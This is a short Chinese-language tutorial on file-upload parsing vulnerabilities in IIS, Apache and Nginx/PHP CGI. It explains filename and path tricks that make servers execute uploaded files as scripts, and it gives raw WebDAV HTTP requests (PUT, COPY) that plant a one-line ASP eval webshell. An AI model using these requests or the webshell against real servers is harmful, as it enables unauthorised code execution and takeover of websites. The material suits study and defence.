当前位置: 首页 > 工具软件 > WebDAV CGI > 使用案例 >

上传漏洞之解析漏洞(iis、apache、php cgi)

庄欣然
2023-12-01

IIS解析漏洞

  1. IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
  2. IIS6.0在解析文件时,存在解析漏洞,当建立*.asa和*.asp格式的文件夹是,其目录下任意文件都被当作asp文件来解析。
  3. 在IIS6.0中,当文件为*.asp;1.jpg时,同样会被当作asp文件解析,微软不认为这是漏洞,也没有推出它的补丁,所以该漏洞至今还存在。

基于IIS容器的WebDav漏洞
它扩展了HTTP协议,在原有的GET、POST、HEAD等几个HTTP标准方法以外还添加了PUT、Move、Copy、Delete等方法。

1.通过OPTIONS探测服务器所支持的HTTP方法

OPTIONS / HTTP/1.1
Host:www.xxx.com

2.通过PUT向服务器上传文件

PUT /a.txt HTTP/1.1
Host:www.xxx.com
Content-Length:30

<%eval request("aaa")%>

3.通过Move或Copy方法改名

COPY /a.txt HTTP/1.1
Host:www.xxx.com
Destination:http://www.xxx.com/cmd.asp

4.通过DELETE删除文件

DELETE /a.txt HTTP/1.1
Host:www.xxx.com

可以看到,通过这些HTTP方法不难获取一个WebShell

Apache解析漏洞

在Apache1.x和2.x版本中存在解析漏洞,但它们与IIS不同。
例:在URL中输入http://www.xxx.com/a.php.rar,a.php.rar被当做php文件去解析并正常运行了。
这是因为apache在解析文件是有一个原则,遇到不认识的扩展名时,会从后往前解析,直到碰到认识的扩展名为止,如果都不认识,则暴露源代码。
在apache的安装目录下,有个配置文件/conf/mime.types,该文件有详细的扩展名列表,从这里可以看到它认识什么扩展名!

PHP CGI解析漏洞

Nginx是一款高性能的Web服务器,通常用来作为PHP的解析容器,PHP CGI漏洞虽然与Nginx关系不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以通常该漏洞常常被认为是Nginx的漏洞。
例:在URL中输入http://www.xxx.com/a.jpg/b.php
此时的b.php文件是不存在的,但a.jpg却被当PHP文件去解析了,问题就在b.php上(这个文件名不是固定的,可以随便命名)。意味着攻击者可以合法上传图片马,并在URL后加上/xxx.php,就可以获取WebShell。

 类似资料: